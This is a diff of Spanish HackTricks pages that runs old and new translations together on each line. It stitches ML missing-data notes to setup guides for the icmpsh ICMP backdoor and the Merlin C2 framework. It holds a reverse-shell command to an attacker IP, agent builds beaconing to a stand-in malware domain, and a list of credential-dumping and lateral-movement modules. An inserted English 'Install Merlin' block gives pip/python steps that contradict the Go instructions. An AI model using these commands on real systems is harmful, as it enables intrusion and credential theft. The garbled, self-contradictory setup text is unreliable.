Es muy importante verificar que **todos los datos que tienes estén correctamente etiquetados**, porque por ejemplo, un error de ortografía en los datos, al codificar las clases de forma ficticia, generará una nueva columna en las características finales con **malas consecuencias para el modelo final**. Este ejemplo se puede detectar muy fácilmente codificando una columna en caliente y revisando los nombres de las columnas creadas. Es muy importante verificar que **todos los datos que tienes estén etiquetados correctamente**, porque por ejemplo, un error de ortografía en los datos, al codificar en dummies las clases, generará una nueva columna en las características finales con **consecuencias negativas para el modelo final**. Este ejemplo se puede detectar muy fácilmente codificando en one-hot una columna y verificando los nombres de las columnas creadas.
# Datos Faltantes # Datos Faltantes
Puede que falten algunos datos del estudio. Algunos datos del estudio pueden faltar.
Podría ocurrir que algunos datos completamente aleatorios falten por algún error. Este tipo de datos es **Missing Completely at Random** (**MCAR**). Puede suceder que falten algunos datos aleatorios por algún error. Este tipo de datos faltantes es **Faltante Completamente al Azar** (**MCAR**).
Podría ser que falten algunos datos aleatorios pero hay algo que hace que ciertos detalles específicos sean más propensos a faltar, por ejemplo, es más frecuente que los hombres revelen su edad pero no las mujeres. Esto se llama **Missing at Random** (**MAR**). Podría ser que falten algunos datos aleatorios pero haya algo que haga que algunos detalles específicos sean más probables de faltar, por ejemplo, es más probable que un hombre diga su edad pero no una mujer. Esto se llama **Faltante al Azar** (**MAR**).
Finalmente, podría haber datos **Missing Not at Random** (**MNAR**). El valor de los datos está directamente relacionado con la probabilidad de tener los datos. Por ejemplo, si quieres medir algo vergonzoso, cuanto más vergonzoso sea alguien, menos probable es que lo comparta. Finalmente, podría haber datos **Faltantes No al Azar** (**MNAR**). El valor de los datos está directamente relacionado con la probabilidad de tener los datos. Por ejemplo, si quieres medir algo vergonzoso, cuanto más vergonzosa sea una persona, menos probable es que lo comparta.
Las **dos primeras categorías** de datos faltantes pueden ser **ignorables**. Pero la **tercera** requiere considerar **solo porciones de los datos** que no estén impactados o intentar **modelar los datos faltantes de alguna manera**. Las **dos primeras categorías** de datos faltantes pueden ser **ignoradas**. Pero la **tercera** requiere considerar **solo porciones de los datos** que no se ven afectadas o intentar **modelar de alguna manera los datos faltantes**.
Una forma de descubrir datos faltantes es usar la función `.info()` ya que indicará el **número de filas pero también el número de valores por categoría**. Si alguna categoría tiene menos valores que el número de filas, entonces hay algunos datos faltantes: Una forma de detectar datos faltantes es usar la función `.info()` ya que indicará el **número de filas pero también el número de valores por categoría**. Si alguna categoría tiene menos valores que el número de filas, entonces faltan algunos datos:
```bash ```bash
# Get info of the dataset # Get info of the dataset
dataset.info() dataset.info()
@ -217,29 +217,29 @@ dataset.info()
# Drop all rows where some value is missing # Drop all rows where some value is missing
dataset.dropna(how='any', axis=0).info() dataset.dropna(how='any', axis=0).info()
``` ```
Se recomienda generalmente que si una característica **falta en más del 20%** del conjunto de datos, la **columna debe eliminarse:** Generalmente se recomienda que si una característica falta en más del **20%** del conjunto de datos, la **columna debe ser eliminada:**
```bash ```bash
# Remove column # Remove column
dataset.drop('Column_name', axis='columns', inplace=True) dataset.drop('Column_name', axis='columns', inplace=True)
dataset.info() dataset.info()
``` ```
{% hint style="info" %} {% hint style="info" %}
Tenga en cuenta que **no todos los valores faltantes están ausentes en el conjunto de datos**. Es posible que a los valores faltantes se les haya dado el valor "Desconocido", "n/a", "", -1, 0... Necesita revisar el conjunto de datos (usando `dataset.column`_`name.value`_`counts(dropna=False)` para verificar los posibles valores). Ten en cuenta que **no todos los valores faltantes están ausentes en el conjunto de datos**. Es posible que los valores faltantes hayan sido asignados con el valor "Desconocido", "n/a", "", -1, 0... Necesitas verificar el conjunto de datos (usando `conjunto_de_datos.nombre_de_columna.valor_contados(dropna=False)` para verificar los posibles valores).
{% endhint %} {% endhint %}
Si falta información en el conjunto de datos (y no es demasiado), necesita encontrar la **categoría de los datos faltantes**. Para eso básicamente necesita saber si los **datos faltantes son al azar o no**, y para eso necesita averiguar si los **datos faltantes estaban correlacionados con otros datos** del conjunto de datos. Si falta algo de datos en el conjunto de datos (y no es demasiado), necesitas encontrar la **categoría de los datos faltantes**. Para eso, básicamente necesitas saber si los **datos faltantes están al azar o no**, y para eso necesitas averiguar si los **datos faltantes estaban correlacionados con otros datos** del conjunto de datos.
Para averiguar si un valor faltante está correlacionado con otra columna, puede crear una nueva columna que ponga 1s y 0s si los datos faltan o no y luego calcular la correlación entre ellos: Para determinar si un valor faltante está correlacionado con otra columna, puedes crear una nueva columna que ponga 1s y 0s si los datos faltan o no, y luego calcular la correlación entre ellos:
```bash ```bash
# The closer it's to 1 or -1 the more correlated the data is # The closer it's to 1 or -1 the more correlated the data is
# Note that columns are always perfectly correlated with themselves. # Note that columns are always perfectly correlated with themselves.
dataset[['column_name', 'cloumn_missing_data']].corr() dataset[['column_name', 'cloumn_missing_data']].corr()
``` ```
Si decides ignorar los datos faltantes, aún necesitas decidir qué hacer con ellos: Puedes **eliminar las filas** con datos faltantes (los datos de entrenamiento para el modelo serán menores), puedes **eliminar la característica** por completo, o podrías **modelarla**. Si decides ignorar los datos faltantes, aún necesitas decidir qué hacer con ellos: puedes **eliminar las filas** con datos faltantes (los datos de entrenamiento del modelo serán más pequeños), puedes **eliminar por completo la característica**, o puedes **modelarla**.
Deberías **verificar la correlación entre la característica faltante y la columna objetivo** para ver cuán importante es esa característica para el objetivo, si es realmente **pequeña** puedes **descartarla o rellenarla**. Debes **verificar la correlación entre la característica faltante y la columna objetivo** para ver qué tan importante es esa característica para el objetivo, si es realmente **pequeña**, puedes **eliminarla o completarla**.
Para rellenar datos **continuos** faltantes podrías usar: la **media**, la **mediana** o usar un algoritmo de **imputación**. El algoritmo de imputación puede intentar usar otras características para encontrar un valor para la característica faltante: Para completar datos faltantes **continuos** podrías usar: la **media**, la **mediana** o utilizar un **algoritmo de imputación**. El algoritmo de imputación puede intentar usar otras características para encontrar un valor para la característica faltante:
```python ```python
from sklearn.impute import KNNImputer from sklearn.impute import KNNImputer
@ -255,11 +255,11 @@ dataset_imp = pd.DataFrame(X_imp)
dataset.columns = ['column1', 'column2', 'column3'] dataset.columns = ['column1', 'column2', 'column3']
dataset.iloc[10:20] # Get some indexes that contained empty data before dataset.iloc[10:20] # Get some indexes that contained empty data before
``` ```
Para completar datos categóricos, primero debes pensar si hay alguna razón por la que los valores están ausentes. Si es por **elección de los usuarios** (no querían dar los datos), quizás puedas **crear una nueva categoría** que indique eso. Si es debido a un error humano, puedes **eliminar las filas** o la **característica** (revisa los pasos mencionados antes) o **completarla con la moda, la categoría más utilizada** (no recomendado). Para completar los datos categóricos, primero debes pensar si hay alguna razón por la cual faltan los valores. Si es por **elección de los usuarios** (no quisieron proporcionar los datos), tal vez puedas **crear una nueva categoría** indicándolo. Si es debido a un error humano, puedes **eliminar las filas** o la **característica** (verificar los pasos mencionados anteriormente) o **rellenarla con la moda, la categoría más utilizada** (no recomendado).
# Combinando Características # Combinación de Características
Si encuentras **dos características** que están **correlacionadas** entre sí, generalmente deberías **eliminar** una de ellas (la que está menos correlacionada con el objetivo), pero también podrías intentar **combinarlas y crear una nueva característica**. Si encuentras **dos características** que están **correlacionadas** entre sí, generalmente deberías **eliminar** una de ellas (la menos correlacionada con el objetivo), pero también podrías intentar **combinarlas y crear una nueva característica**.
```python ```python
# Create a new feautr combining feature1 and feature2 # Create a new feautr combining feature1 and feature2
dataset['new_feature'] = dataset.column1/dataset.column2 dataset['new_feature'] = dataset.column1/dataset.column2
@ -274,14 +274,14 @@ pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], i
``` ```
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>

View file

@ -1,30 +1,13 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
@ -19,7 +19,7 @@ Descarga el backdoor desde: [https://github.com/inquisb/icmpsh](https://github.c
Ejecuta el script: **run.sh** Ejecuta el script: **run.sh**
**Si encuentras algún error, intenta cambiar las líneas:** **Si obtienes algún error, intenta cambiar las líneas:**
```bash ```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
@ -41,10 +41,10 @@ icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
@ -28,16 +28,38 @@ Add "export GOBIN=$GOPATH/bin"
source /etc/profile source /etc/profile
``` ```
## Instalación de Merlin ## Instalar Merlin
Install Merlin by following these steps:
1. Clone the Merlin repository from GitHub:
```bash
git clone https://github.com/username/merlin.git
```
2. Change directory to the Merlin folder:
```bash
cd merlin
```
3. Install the required dependencies using pip:
```bash
pip install -r requirements.txt
```
4. Run Merlin:
```bash
python merlin.py
```
``` ```
go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
cd $GOPATH/src/github.com/Ne0nd0g/merlin/ cd $GOPATH/src/github.com/Ne0nd0g/merlin/
``` ```
# Iniciar el Servidor Merlin # Iniciar el Servidor de Merlin
``` ```
go run cmd/merlinserver/main.go -i go run cmd/merlinserver/main.go -i
``` ```
# Agentes Merlin # Agentes de Merlin
Puedes [descargar agentes precompilados](https://github.com/Ne0nd0g/merlin/releases) Puedes [descargar agentes precompilados](https://github.com/Ne0nd0g/merlin/releases)
@ -50,7 +72,7 @@ make #Server and Agents of all
make windows #Server and Agents for Windows make windows #Server and Agents for Windows
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips) make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
``` ```
## **Compilación manual de agentes** ## **Agentes de compilación manual**
``` ```
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
``` ```
@ -58,38 +80,40 @@ GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -
**La mala noticia es que cada módulo utilizado por Merlin se descarga de la fuente (Github) y se guarda en disco antes de usarlo. ¡Ten cuidado al usar módulos conocidos porque Windows Defender te atrapará!** **La mala noticia es que cada módulo utilizado por Merlin se descarga de la fuente (Github) y se guarda en disco antes de usarlo. ¡Ten cuidado al usar módulos conocidos porque Windows Defender te atrapará!**
**SafetyKatz** --> Mimikatz modificado. Volcar LSASS a archivo y lanzar: sekurlsa::logonpasswords a ese archivo\
**SharpDump** --> minivolcado para el ID de proceso especificado (LSASS por defecto) (Dice que la extensión del archivo final es .gz pero en realidad es .bin, pero es un archivo gz)\ **SafetyKatz** --> Mimikatz modificado. Volcar LSASS a un archivo y lanzar:sekurlsa::logonpasswords a ese archivo\
**SharpDump** --> minivolcado para el ID de proceso especificado (LSASS por defecto) (Se dice que la extensión del archivo final es .gz pero en realidad es .bin, aunque es un archivo .gz)\
**SharpRoast** --> Kerberoast (no funciona)\ **SharpRoast** --> Kerberoast (no funciona)\
**SeatBelt** --> Pruebas de Seguridad Local en CS (no funciona) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ **SeatBelt** --> Pruebas de seguridad locales en CS (no funciona) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
**Compiler-CSharp** --> Compilar usando csc.exe /unsafe\ **Compiler-CSharp** --> Compilar usando csc.exe /unsafe\
**Sharp-Up** --> Todas las comprobaciones en C# en powerup (funciona)\ **Sharp-Up** --> Todas las comprobaciones en C# en powerup (funciona)\
**Inveigh** --> Spoofing de PowerShellADIDNS/LLMNR/mDNS/NBNS y herramienta man-in-the-middle (no funciona, necesita cargar: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\ **Inveigh** --> Herramienta de suplantación de PowerShellADIDNS/LLMNR/mDNS/NBNS y de intermediario (no funciona, necesita cargar: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\
**Invoke-InternalMonologue** --> Suplanta a todos los usuarios disponibles y recupera un desafío-respuesta para cada uno (hash NTLM para cada usuario) (URL incorrecta)\ **Invoke-InternalMonologue** --> Suplanta a todos los usuarios disponibles y obtiene una respuesta de desafío para cada uno (hash NTLM para cada usuario) (URL incorrecta)\
**Invoke-PowerThIEf** --> Robar formularios de IExplorer o hacer que ejecute JS o inyectar un DLL en ese proceso (no funciona) (y parece que el PS tampoco funciona) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ **Invoke-PowerThIEf** --> Robar formularios de IExplorer o hacer que ejecute JS o inyectar una DLL en ese proceso (no funciona) (y el PS parece que tampoco funciona) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
**LaZagneForensic** --> Obtener contraseñas del navegador (funciona pero no imprime el directorio de salida)\ **LaZagneForensic** --> Obtener contraseñas de navegadores (funciona pero no imprime el directorio de salida)\
**dumpCredStore** --> API del Administrador de Credenciales Win32 (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ **dumpCredStore** --> API del Administrador de Credenciales de Win32 (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
**Get-InjectedThread** --> Detectar inyección clásica en procesos en ejecución (Inyección Clásica (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (no funciona)\ **Get-InjectedThread** --> Detectar inyecciones clásicas en procesos en ejecución (Inyección clásica (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (no funciona)\
**Get-OSTokenInformation** --> Obtener información de Token de los procesos y hilos en ejecución (Usuario, grupos, privilegios, propietario... https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\ **Get-OSTokenInformation** --> Obtener información del token de los procesos y subprocesos en ejecución (Usuario, grupos, privilegios, propietario… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
**Invoke-DCOM** --> Ejecutar un comando (en otro ordenador) a través de DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\ **Invoke-DCOM** --> Ejecutar un comando (en otra computadora) a través de DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
**Invoke-DCOMPowerPointPivot** --> Ejecutar un comando en otro PC abusando de objetos COM de PowerPoint (ADDin)\ **Invoke-DCOMPowerPointPivot** --> Ejecutar un comando en otra PC abusando de los objetos COM de PowerPoint (ADDin)\
**Invoke-ExcelMacroPivot** --> Ejecutar un comando en otro PC abusando de DCOM en Excel\ **Invoke-ExcelMacroPivot** --> Ejecutar un comando en otra PC abusando de DCOM en Excel\
**Find-ComputersWithRemoteAccessPolicies** --> (no funciona) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\ **Find-ComputersWithRemoteAccessPolicies** --> (no funciona) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\
**Grouper** --> Volca todas las partes más interesantes de la política de grupo y luego busca en ellas cosas explotables. (obsoleto) Echa un vistazo a Grouper2, parece realmente bueno\ **Grouper** --> Volca todas las partes más interesantes de la directiva de grupo y luego busca en ellas posibles vulnerabilidades. (obsoleto) Echa un vistazo a Grouper2, parece muy bueno\
**Invoke-WMILM** --> WMI para moverse lateralmente\ **Invoke-WMILM** --> WMI para moverse lateralmente\
**Get-GPPPassword** --> Buscar groups.xml, scheduledtasks.xml, services.xml y datasources.xml y devuelve contraseñas en texto plano (dentro del dominio)\ **Get-GPPPassword** --> Busca groups.xml, scheduledtasks.xml, services.xml y datasources.xml y devuelve contraseñas en texto plano (dentro del dominio)\
**Invoke-Mimikatz** --> Usar mimikatz (volcado de credenciales por defecto)\ **Invoke-Mimikatz** --> Usa mimikatz (volcado de credenciales por defecto)\
**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\ **PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\
**Find-BadPrivilege** --> Verificar los privilegios de los usuarios en computadoras\ **Find-BadPrivilege** --> Verifica los privilegios de los usuarios en las computadoras\
**Find-PotentiallyCrackableAccounts** --> Recuperar información sobre cuentas de usuario asociadas con SPN (Kerberoasting)\ **Find-PotentiallyCrackableAccounts** --> Obtiene información sobre cuentas de usuario asociadas con SPN (Kerberoasting)\
**psgetsystem** --> obtener sistema **psgetsystem** --> obtiene sistema
**No se revisaron los módulos de persistencia** **No se revisaron los módulos de persistencia**
# Resumen # Resumen
Realmente me gusta la sensación y el potencial de la herramienta.\ Realmente me gusta la sensación y el potencial de la herramienta.\
Espero que la herramienta comience a descargar los módulos del servidor e integre algún tipo de evasión al descargar scripts. Espero que la herramienta comience a descargar los módulos desde el servidor e integre algún tipo de evasión al descargar scripts.
<details> <details>
@ -97,10 +121,10 @@ Espero que la herramienta comience a descargar los módulos del servidor e integ
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o síguenos en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
